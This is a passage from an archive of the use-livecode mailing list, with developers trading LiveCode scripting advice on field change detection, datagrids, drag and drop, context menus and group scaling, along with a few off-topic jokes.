textChanged property? In-Reply-To: References: Message-ID: <518BD874.2070307@hyperactivesw.com> On 5/8/13 9:44 PM, Dr. Hawkins wrote: > I know about the textChanged message, but . . . > > I have forms with many fields. I have a closeField handler that sets a > flag when something changes, but this only triggers when leaving the field. > > My assistant just discovered a bug that I hadn't-- > > I have fields that have hotkeys in them, one of which closes a group of > fields. If a change is made in one, and the hotkey used to close, that > change doesn't get processed. > > I suppose I could set my flag repeatedly whenever a key is pressed, but > this seems processor intensive. > > Is there any way inside the keyUp handler to test whether the contents have > changed? > > Or is this just a hangover from my 8 bit days with BASIC interpreters? > I'm not sure why trapping every keyUp would be less intensive than using the built-in textchanged message, which is optimized. Is there a reason you don't want to use that? It was created for exactly the scenario you describe. You could remove your closefield handler too if you use it. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 13:16:24 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 12:16:24 -0500 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> Message-ID: <518BD9E8.4090903@hyperactivesw.com> On 5/9/13 9:44 AM, Dr. Hawkins wrote: > On Tue, May 7, 2013 at 7:52 PM, J. Landman Gay wrote: >>> >>> Hanging while attempting to quit the IDE is so common I barely notice when >>> I force quit; it's been this way since I started last year. > > >> >> That's unusual, I think something else is wrong. Apps won't quit if there are pending messages >> in the queue, or if a process is left open, or if there is any other kind of unfinished business >> (except for open files, those close themselves.) Is your stack running something when you try >> to quit? Maybe an external is trying to do something? > > I have absolutely no externals. > > I actually have to shut off messages to close some stacks, as it can > take over a minute (on modern macs). > > And livecode just not responding and being greyed out in the > force-quit window is also commn. I'm pretty sure this behavior is specific to your stacks. I can't remember anyone on the list ever mentioning it. I've never seen it. You may have externals running that you aren't aware of. Many of the rev libraries are actually externals. If you have to turn off messages before closing a stack, it usually means something is running. You could look in the pendingMessages queue in the message box and see if there is anything there. Turn on IDE messages too if you don't see anything in the default view. Does this happen only with one stack? Can you quit normally with a new stack? -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Thu May 9 13:33:51 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 9 May 2013 10:33:51 -0700 Subject: are my datagrids misbehaving, or is it me. In-Reply-To: References: <01136F23-E0F6-476F-B041-6C4C96E5A99B@gmail.com> Message-ID: Your problem is that you are using numbers as column labels. Don't remember the reason why but that causes problems with Datagrids. I changed one line in your script: *put* item theCol of "A,B,C,D" into line theCol of columnLabels ...and everything worked fine Pete lcSQL Software On Wed, May 8, 2013 at 7:32 PM, Dr. Hawkins wrote: > On Wed, May 8, 2013 at 5:26 PM, Peter M. Brigham wrote: > > > Attachments don't come through on this list. You'll have to post the > stack > > on a website and send us a URL. > > > > Isn't there a 15k limit? It's a 12k file (with the datagrid removed). > > It came back through for me as a attachment . . . > > anyway, it's at: > > http://dochawk.org/test.datagrid.130504a.livecode > > and you simply drag a new datagrid to it in the IDE, and then push the > button; there are breakpoints set. > > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Thu May 9 13:44:27 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 10:44:27 -0700 Subject: Is there a textChanged property? In-Reply-To: <518BD874.2070307@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 10:10 AM, J. Landman Gay wrote: > On 5/8/13 9:44 PM, Dr. Hawkins wrote: >> Or is this just a hangover from my 8 bit days with BASIC interpreters? > I'm not sure why trapping every keyUp would be less intensive than using the > built-in textchanged message, which is optimized. Is there a reason you > don't want to use that? It was created for exactly the scenario you > describe. You could remove your closefield handler too if you use it. Probably an 8 bit hangover from the 70s & 80s, and my constant concern about context switching overhead :) I don't want to react to the text changing, but rather an event (closing the group) triggered by a keystroke, which needs the handling that would normally occur on closefield (which resums several fields and does something with them, with computation costs I wouldn't want for exitField while tabbing through them). I suppose it isn't much overhead to "set the iChanged of the target" on textChanged for every key hit, but it seems like a clumsy solution . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dochawk at gmail.com Thu May 9 13:45:58 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 10:45:58 -0700 Subject: are my datagrids misbehaving, or is it me. In-Reply-To: References: <01136F23-E0F6-476F-B041-6C4C96E5A99B@gmail.com> Message-ID: On Thu, May 9, 2013 at 10:33 AM, Peter Haworth wrote: > Your problem is that you are using numbers as column labels. Don't > remember the reason why but that causes problems with Datagrids. I changed > one line in your script: > > *put* item theCol of "A,B,C,D" into line theCol of columnLabels > > > ...and everything worked fine Thanks. And now that you put it that way, I didn't have that problem before I changed from letters to numbers (one afternoon, I didn't immediately see what all the numToChar() stuff was doing, and probably thought this would be cleaner.) thank you. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From jeff at siphonophore.com Thu May 9 13:46:07 2013 From: jeff at siphonophore.com (Jeff Reynolds) Date: Thu, 9 May 2013 13:46:07 -0400 Subject: [OT - I remembered this time]: here we go In-Reply-To: References: Message-ID: ok i just spit coffee out my nose on this one! thanks jeff On Wed, May 8, 2013 at 11:08 AM, Peter Haworth wrote: > My friend and ex bandmate David Brewer is a bagpiper and told me this > story. > > As a bagpiper, I play many gigs. Recently I was asked by a funeral > director to play at a graveside service for a homeless man. He had no > family or friends, so the service was to be at a pauper's cemetery out in > the wilds of California. From mwieder at ahsoftware.net Thu May 9 14:01:12 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 9 May 2013 18:01:12 +0000 (UTC) Subject: Drag and Drop References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> Message-ID: Ray Horsley writes: > What am I missing to get drag/drop working consistently? You might also want to look at -- Mark Wieder mwieder at ahsoftware.net From mwieder at ahsoftware.net Thu May 9 14:03:38 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Thu, 9 May 2013 18:03:38 +0000 (UTC) Subject: US at conference? References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> Message-ID: Ian Wood writes: > Don't forget your luggage... Ooo... snap! -- Mark Wieder mwieder at ahsoftware.net From jacque at hyperactivesw.com Thu May 9 14:12:55 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 13:12:55 -0500 Subject: Is there a textChanged property? In-Reply-To: References: <518BD874.2070307@hyperactivesw.com> Message-ID: <518BE727.9040804@hyperactivesw.com> On 5/9/13 12:44 PM, Dr. Hawkins wrote: > I don't want to react to the text changing, but rather an event > (closing the group) triggered by a keystroke, which needs the handling > that would normally occur on closefield (which resums several fields > and does something with them, with computation costs I wouldn't want > for exitField while tabbing through them). > > I suppose it isn't much overhead to "set the iChanged of the target" > on textChanged for every key hit, but it seems like a clumsy solution > . . . Depending on your scripts, it may work to add this to your keystroke macro: if the selectedfield is not empty then select empty That should give you either a closefield or an exitfield. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Thu May 9 14:48:51 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 11:48:51 -0700 Subject: Is there a textChanged property? In-Reply-To: <518BE727.9040804@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 11:12 AM, J. Landman Gay wrote: > > Depending on your scripts, it may work to add this to your keystroke macro: > > if the selectedfield is not empty then select empty > > That should give you either a closefield or an exitfield. The situation I need to catch is something along the lines of a 5 in the field, the user changes to 6, and hits the hotkey to close down. If I were the typist, I'd have tabbed out first (which is why this lasted so long). Once you put real people at the keyboard, though . . . (and we discovered this by my assistant using the program . . ) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From andre at andregarzia.com Thu May 9 15:18:14 2013 From: andre at andregarzia.com (Andre Garzia) Date: Thu, 9 May 2013 16:18:14 -0300 Subject: US at conference? In-Reply-To: References: <17B94BE8-63D9-422F-8031-82395DD54B30@verizon.net> <1337241978.20130507193504@ahsoftware.net> <0641E9F5-9914-46DF-8D72-61039315B358@azurevision.co.uk> Message-ID: I will solve that by not carrying any luggage!!! :-D On Thu, May 9, 2013 at 3:03 PM, Mark Wieder wrote: > Ian Wood writes: > > > Don't forget your luggage... > > Ooo... snap! > > -- > Mark Wieder > mwieder at ahsoftware.net > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From jacque at hyperactivesw.com Thu May 9 15:19:19 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 14:19:19 -0500 Subject: Is there a textChanged property? In-Reply-To: References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> Message-ID: <518BF6B7.3060001@hyperactivesw.com> On 5/9/13 1:48 PM, Dr. Hawkins wrote: > On Thu, May 9, 2013 at 11:12 AM, J. Landman Gay > wrote: >> >> Depending on your scripts, it may work to add this to your keystroke macro: >> >> if the selectedfield is not empty then select empty >> >> That should give you either a closefield or an exitfield. > > The situation I need to catch is something along the lines of a 5 in > the field, the user changes to 6, and hits the hotkey to close down. > If I were the typist, I'd have tabbed out first (which is why this > lasted so long). Once you put real people at the keyboard, though . . > . (and we discovered this by my assistant using the program . . ) > > The line of script will simulate tabbing out if the insertion point is in a field. The engine will then send either a closefield or exitfield, depending on whether the text has changed. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Thu May 9 15:20:01 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 9 May 2013 12:20:01 -0700 Subject: [OT - I remembered this time]: here we go In-Reply-To: <40418684689.20130508181226@ahsoftware.net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> Message-ID: That's a very clever piece of prose Mark! Did you write it? Sometimes the funniest stories are the true ones. This actually happened to me at a gig a while back. We finished playing our first set and were out in the audience chatting to people. A young girl of about 8 or 9 years old came up to us and announced that she played the xylophone. We all encouraged to her to keep learning to play and I, semi-jokingly, said she should come up and play something with us in the second half of the show. Very shyly, she said she didn't think that would be a good idea because she didn't play very well yet. Trying to be encouraging, I said I would give her my phone number so she could call me in about 10 years when she was really good, then she could play with us. She innocently looked me straight in the eye and said "I don't think so, you'll be dead by then"!!!! That was about 9 years and 8 months ago so I gotta rush off now and finish all my LC projects before the fateful day! Pete lcSQL Software On Wed, May 8, 2013 at 6:12 PM, Mark Wieder wrote: > Pete- > > LOL. That's the best story I've heard in a while. > > Here's one more before I leave this thread (probably for musicians > only): > > C, E-flat, and G go into a bar. The bartender says, "Sorry, but we > don't serve minors." So E-flat leaves, and C and G have an open fifth > between them. After a few drinks, the fifth is diminished, and G is > out flat. F comes in and tries to augment the situation, but is not > sharp enough. D comes in and heads for the bathroom, saying, "Excuse > me; I'll just be a second." Then A comes in, but the bartender is not > convinced that this relative of C is not a minor. Then the bartender > notices B-flat hiding at the end of the bar and says, "Get out! You're > the seventh minor I've found in this bar tonight." E-flat comes back > the next night in a three-piece suit with nicely shined shoes. The > bartender says, "You're looking sharp tonight. Come on in, this could > be a major development." Sure enough, E-flat soon takes off his suit > and everything else, and is au natural. Eventually C sobers up and > realizes in horror that he's under a rest. C is brought to trial, > found guilty of contributing to the diminution of a minor, and is > sentenced to 10 years of D.S. without Coda at an upscale correctional > facility. > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From mcgrath3 at mac.com Thu May 9 15:23:29 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 09 May 2013 15:23:29 -0400 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects Message-ID: Is there a way to resize and move a scrolling group without touching the inside contents of that group??? This is on mobile and I need to resize a scrolling group based on the position of the UI (navbar and toolbar when in portrait and landscape) when the UI changes and then after the scrolling group is right I then need to separately resize the contents for retina if needed -- to double their height, width and topleft -- or regular. If I resize the group first then it moves the content and then doubling the content makes it the right size but positioned wrong. If I resize the content and then move the group then it again correctly sizes the contents but positions them wrong. If the group moves then everything is in a different position from when I laid them out in the desktop so they are off. I want the scrolling group code to be separate from the resizing code if possible. Thanks, Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From richmondmathewson at gmail.com Thu May 9 15:42:57 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 09 May 2013 22:42:57 +0300 Subject: Drag and Drop In-Reply-To: References: <725BACB2-D59D-4350-9C0A-62395ED1B7AC@LinkIt.Com> Message-ID: <518BFC41.4070205@gmail.com> On 05/09/2013 09:01 PM, Mark Wieder wrote: > Ray Horsley writes: > >> What am I missing to get drag/drop working consistently? > You might also want to look at > > > Why do I always just use on mouseDown grab me end mouseDown then set up a load of images as dropTargets and have stuff like this in the grabbedObject: on mouseUp if not within (img "target", the mouseloc) then set the loc of me to 857,673 end if end mouseUp must be missing something. Richmond. From mcgrath3 at mac.com Thu May 9 15:46:46 2013 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Thu, 09 May 2013 15:46:46 -0400 Subject: Anyone else experiencing crashes with Commercial Build 1513? In-Reply-To: <518BD9E8.4090903@hyperactivesw.com> References: <51896CFE.10102@hyperactivesw.com> <5189BDF1.6090007@hyperactivesw.com> <518BD9E8.4090903@hyperactivesw.com> Message-ID: I get hangs at least four times a day. I work hard, I play hard, I code hard. So I figure it comes with the territory. But it is annoying. Save often and then save again. Then Zip/compress the file at every big change and then back that up as well??. Oh yeah, and save again?. Tom -- Tom McGrath III http://lazyriver.on-rev.com mcgrath3 at mac.com From livfoss at mac.com Thu May 9 15:54:23 2013 From: livfoss at mac.com (Graham Samuel) Date: Thu, 09 May 2013 21:54:23 +0200 Subject: Context Menus - the look of the thing In-Reply-To: <518BD6AF.7040501@hyperactivesw.com> References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> Message-ID: Thanks I seem to have fallen foul of the description of menus in the LC docs. What I want is a single 'mouseDown' handler in my mainstack that checks if the right mouse button had been pressed in an editable field and then provides Edit-menu type services to that field (the target). Could I use a button menu for that? I couldn't understand from the docs if I could or not (I could not work out if each field would need its own button), so I started exploring stack menus, which I've never used in quite a long LC coding career. Very happy to be advised, as ever. Graham Sent from my iPad On 9 May 2013, at 19:02, "J. Landman Gay" wrote: > On 5/9/13 3:32 AM, Graham Samuel wrote: > >> >> PS - the LC docs tell one to set the individual buttons' autoArm and >> armBorder properties to true. I had to do this with the LC Message >> Box because I couldn't find these properties in any other way. I >> naively thought that in LC 6.0.1 you can reveal (and therefore set) >> all properties of an object. Was I wrong? > > Use a popup menu button instead, it's all automatic then. The only reason to use a stack menu is if you want some kind of custom display, like using images instead of text lists, for instance. Stack menus are fiddly and rarely needed. > > LC separates out the properties it thinks belong to a button of a certain "type" (even though all buttons can be any style.) So if you aren't looking at a particular style it thinks should have those properties, they aren't displayed. You'll see those two if you are editing a push button. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From calhorner at xtra.co.nz Thu May 9 16:05:04 2013 From: calhorner at xtra.co.nz (Cal Horner) Date: Fri, 10 May 2013 08:05:04 +1200 (New Zealand Standard Time) Subject: [Master Class] tags Message-ID: <518C016F.00000F.00760@CALS_BIG_PC> Surely this discussion is missing the Most Important tag of all. I know that I have received much help and instructions from the Master Class over the years. And this forum would be very remiss if this tag was not included. From scott at tactilemedia.com Thu May 9 16:07:04 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 09 May 2013 13:07:04 -0700 Subject: Drag and Drop In-Reply-To: <518BFC41.4070205@gmail.com> Message-ID: Only you can know why you always use that technique, but with grab, there's no way to act upon events/messages while grab is active (thus you can't do cursor updates and provide user feedback), and you can't "grab" an object across stacks. Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/9/13 12:42 PM, "Richmond" wrote: >On 05/09/2013 09:01 PM, Mark Wieder wrote: >> Ray Horsley writes: >> >>> What am I missing to get drag/drop working consistently? >> You might also want to look at >> >> >>>to-the-mat-a-primer> >> > >Why do I always just use > >on mouseDown > grab me >end mouseDown > >then set up a load of images as dropTargets and have stuff like this in >the grabbedObject: > >on mouseUp > if not within (img "target", the mouseloc) then > set the loc of me to 857,673 > end if >end mouseUp > >must be missing something. > >Richmond. > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From dochawk at gmail.com Thu May 9 16:08:14 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 13:08:14 -0700 Subject: Is there a textChanged property? In-Reply-To: <518BF6B7.3060001@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> <518BF6B7.3060001@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 12:19 PM, J. Landman Gay wrote: > The line of script will simulate tabbing out if the insertion point is in a > field. The engine will then send either a closefield or exitfield, depending > on whether the text has changed. Ahh, now I see. So I don't even really need a conditional, but could simply make "select empty" the first thing that happens on a key that causes these action! -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From devin_asay at byu.edu Thu May 9 16:13:33 2013 From: devin_asay at byu.edu (Devin Asay) Date: Thu, 9 May 2013 20:13:33 +0000 Subject: Drag and Drop In-Reply-To: References: Message-ID: <31BDC56EACAAF64688457CE3F71D9F1A01143877@Peas2.byu.local> > On 5/9/13 12:42 PM, "Richmond" wrote: > >> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>> Ray Horsley writes: >>> >>>> What am I missing to get drag/drop working consistently? >>> You might also want to look at >>> >>> >>> >> to-the-mat-a-primer> >>> >> >> Why do I always just use >> >> on mouseDown >> grab me >> end mouseDown >> >> then set up a load of images as dropTargets and have stuff like this in >> the grabbedObject: >> >> on mouseUp >> if not within (img "target", the mouseloc) then >> set the loc of me to 857,673 >> end if >> end mouseUp >> >> must be missing something. Ray wanted to drag files onto stacks. Grab only works on objects inside a single stack. On May 9, 2013, at 2:07 PM, Scott Rossi wrote: > Only you can know why you always use that technique, but with grab, > there's no way to act upon events/messages while grab is active (thus you > can't do cursor updates and provide user feedback), and you can't "grab" > an object across stacks. That's mostly true, Scott. The only mouse message that gets sent during a grab is mouseMove. So you can check location, within() and other things during the grab operation and act on them within the mouseMove handler. Devin Devin Asay Office of Digital Humanities Brigham Young University From jacque at hyperactivesw.com Thu May 9 16:13:56 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 15:13:56 -0500 Subject: Is there a textChanged property? In-Reply-To: References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> <518BF6B7.3060001@hyperactivesw.com> Message-ID: <518C0384.9050801@hyperactivesw.com> On 5/9/13 3:08 PM, Dr. Hawkins wrote: > On Thu, May 9, 2013 at 12:19 PM, J. Landman Gay > wrote: >> The line of script will simulate tabbing out if the insertion point is in a >> field. The engine will then send either a closefield or exitfield, depending >> on whether the text has changed. > > Ahh, now I see. > > So I don't even really need a conditional, but could simply make > "select empty" the first thing that happens on a key that causes these > action! Yes, probably. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 16:18:45 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 15:18:45 -0500 Subject: Context Menus - the look of the thing In-Reply-To: References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> Message-ID: <518C04A5.3060900@hyperactivesw.com> On 5/9/13 2:54 PM, Graham Samuel wrote: > What I want is a single 'mouseDown' handler in my mainstack > that checks if the right mouse button had been pressed in an editable > field and then provides Edit-menu type services to that field (the > target). Could I use a button menu for that? Sure, easily. Create an option button and put the menu you want into its contents. Put a corresponding menupick handler in its script. Hide the button. In the field where you check for a right-click, just use "popup ". That's about it. The button script can either execute commands directly ("copy", "paste") or it can call out to a custom handler in the message path. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 9 16:20:28 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 15:20:28 -0500 Subject: Context Menus - the look of the thing In-Reply-To: References: <6891CBDF-7BA3-4344-8BBE-945E50FB149E@mac.com> <518BD6AF.7040501@hyperactivesw.com> Message-ID: <518C050C.4030203@hyperactivesw.com> On 5/9/13 2:54 PM, Graham Samuel wrote: > I could not work out if each field > would need its own button Forgot to answer that part. You only need one button. It will pop up under the mouse whenever it's called. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From scott at tactilemedia.com Thu May 9 16:24:25 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 09 May 2013 13:24:25 -0700 Subject: [Topic][Dumbfounded] Is there a way to resize and move a group without touching the inside objects In-Reply-To: Message-ID: [ tags on posts are starting to get scary ] Hi Tom: Here's some group scaling code I've been meaning to post for a while now. All it does is scale objects proportionally to a (locked) parent group. If objects extend beyond the boundaries of the group, their positions and sizes should stay intact. The script does NOT scale all the objects' properties (that's another script that will come later). Maybe you can make use of this. command scaleGroup pGroup, pScale put rect of pGroup into theGroupRect put width of pGroup into W put height of pGroup into H set boundingRect of pGroup to rect of pGroup repeat with N = 1 to number of controls of pGroup put long id of control N of pGroup into theControl put rect of theControl into theRect put item 1 of theRect - item 1 of theGroupRect into L put item 2 of theRect - item 2 of theGroupRect into T put item 1 of theRect + round(width of theControl * pScale) into item 3 of theRect put item 2 of theRect + round(height of theControl * pScale) into item 4 of theRect set rect of theControl to theRect set topLeft of theControl to \ item 1 of theGroupRect + round(L * pScale),item 2 of theGroupRect + round(T * pScale) end repeat put margins of pGroup into theMargins repeat with N = 1 to number of items of theMargins put round (item N of theMargins * pScale) into item N of theMargins end repeat set margins of pGroup to theMargins set boundingRect of pGroup to empty set rect of pGroup to \ item 1 of theGroupRect,item 2 of theGroupRect,item 1 of theGroupRect + round(W * pScale),item 2 of theGroupRect + round(H * pScale) end scaleGroup Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/9/13 12:23 PM, "Thomas McGrath III" wrote: >Is there a way to resize and move a scrolling group without touching the >inside contents of that group??? This is on mobile and I need to resize a >scrolling group based on the position of the UI (navbar and toolbar when >in portrait and landscape) when the UI changes and then after the >scrolling group is right I then need to separately resize the contents >for retina if needed -- to double their height, width and topleft -- or >regular. > >If I resize the group first then it moves the content and then doubling >the content makes it the right size but positioned wrong. >If I resize the content and then move the group then it again correctly >sizes the contents but positions them wrong. > >If the group moves then everything is in a different position from when I >laid them out in the desktop so they are off. > >I want the scrolling group code to be separate from the resizing code if >possible. > > >Thanks, > >Tom > >-- Tom McGrath III >http://lazyriver.on-rev.com >mcgrath3 at mac.com > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Thu May 9 16:30:43 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 9 May 2013 13:30:43 -0700 Subject: Is there a textChanged property? In-Reply-To: <518C0384.9050801@hyperactivesw.com> References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> <518BF6B7.3060001@hyperactivesw.com> <518C0384.9050801@hyperactivesw.com> Message-ID: On Thu, May 9, 2013 at 1:13 PM, J. Landman Gay wrote: > Yes, probably. Hmm. Just tried this. Change something in the field, hit "d" to exit with a breakpoint set. Stepping through and into, nothing happens on "select empty" I suppose I *could* in openField "set the origVal of the target to the text of the target", and instead of empty test for origVal and the current value . . . but the select empty is so much more elegant. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From richmondmathewson at gmail.com Thu May 9 16:36:17 2013 From: richmondmathewson at gmail.com (Richmond) Date: Thu, 09 May 2013 23:36:17 +0300 Subject: Drag and Drop In-Reply-To: References: Message-ID: <518C08C1.9080901@gmail.com> On 05/09/2013 11:07 PM, Scott Rossi wrote: > Only you can know why you always use that technique, What? you expect me to know my own mind? LOL. I use that technique as I tend to use a single stack, or a signle stack with associated palettes. > but with grab, > there's no way to act upon events/messages while grab is active (thus you > can't do cursor updates and provide user feedback), and you can't "grab" > an object across stacks. Aha; got you. Why do I have a funny feeling that you could use mouseStillDown to get feedback Ha, ha,ha . . . I just made a stack containing a button "DRAG ME ABOUT" and a field "KOUNT" in the button I have this script: on mouseDown grab me end mouseDown on mouseStillDown put fld "KOUNT" into KOUNT add 1 to KOUNT put KOUNT into fld "KOUNT" wait 3 ticks end mouseStillDown on mouseUp put empty into fld "KOUNT" end mouseUp Try it, I dare you . . . you get feedback. Richmond. > > Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/9/13 12:42 PM, "Richmond" wrote: > >> On 05/09/2013 09:01 PM, Mark Wieder wrote: >>> Ray Horsley writes: >>> >>>> What am I missing to get drag/drop working consistently? >>> You might also want to look at >>> >>> >>> >> to-the-mat-a-primer> >>> >> Why do I always just use >> >> on mouseDown >> grab me >> end mouseDown >> >> then set up a load of images as dropTargets and have stuff like this in >> the grabbedObject: >> >> on mouseUp >> if not within (img "target", the mouseloc) then >> set the loc of me to 857,673 >> end if >> end mouseUp >> >> must be missing something. >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gandalf at doctorTimothyMiller.com Thu May 9 16:39:13 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Thu, 9 May 2013 13:39:13 -0700 Subject: [OT - I remembered this time] In-Reply-To: <013201ce4cc1$24ff3ff0$6efdbfd0$@net> References: <5188E6F0.6020908@gmail.com> <134295697072.20130507080239@ahsoftware.net> <1367941984039-4664371.post@n4.nabble.com> <51892C07.1010604@warrensweb.us> <90333940445.20130507184002@ahsoftware.net> <00b701ce4b98$ff025c20$fd071460$@net> <102339465441.20130507201207@ahsoftware.net> <29344109381.20130507212931@ahsoftware.net> <40418684689.20130508181226@ahsoftware.net> <010101ce4c5b$5334d7b0$f99e8710$@net> <103426371361.20130508202033@ahsoftware.net> <013201ce4cc1$24ff3ff0$6efdbfd0$@net> Message-ID: On May 9, 2013, at 7:26 AM, Ralph DiMola wrote: > All he could think about was > A, D, F, G...A, D, F, G...A, D, F, G... I can't figure that one out. Hint? Jerry Garcia dies, wakes up in a vast featureless space. Far in the distance he sees a tiny dot. As he walks toward it, he can gradually make out a piano, microphones, a drum set, and so on. He sees John Lennon sitting at the piano. Elvis, Mama Cass and Janis Joplin are ready to sing vocals, and George Harrison is all set to play rhythm guitar. In a guitar stand, there's a Stratocaster, waiting for Jerry. "Oh my God! There is a rock and roll heaven, and I'm going to play in the band." Elvis replies, "Heaven?! This isn't...." Karen Carpenter comes out from backstage, sits down at the drums. In her beautiful placid contralto voice, she slowly says, "Okay. 'Close to You.' 1... 2... 3... 4...." From jacque at hyperactivesw.com Thu May 9 16:44:28 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 09 May 2013 15:44:28 -0500 Subject: Is there a textChanged property? In-Reply-To: References: <518BD874.2070307@hyperactivesw.com> <518BE727.9040804@hyperactivesw.com> <518BF6B7.3060001@hyperactivesw.com> <518C0384.9050801@hyperactivesw.com> Message-ID: <518C0AAC.2090205@hyperactivesw.com> On 5/9/13 3:30 PM, Dr. Hawkins wrote: > On Thu, May 9, 2013 at 1:13 PM, J. Landman Gay wrote: >> Yes, probably. > > > Hmm. > > Just tried this. > > Change something in the field, hit "d" to exit with a breakpoint set. > Stepping through and into, nothing happens on "select empty" > > I suppose I *could* in openField "set the origVal of the target to the > text of the target", and instead of empty test for origVal and the > current value . . . but the select empty is so much more elegant. > The debugger is interfering because the focus is now in the script editor. Instead, open the Message Watcher (Development menu) and run your handlers normally. You'll see the messages in there. -- Jacqueline Landman Gay | jacque at 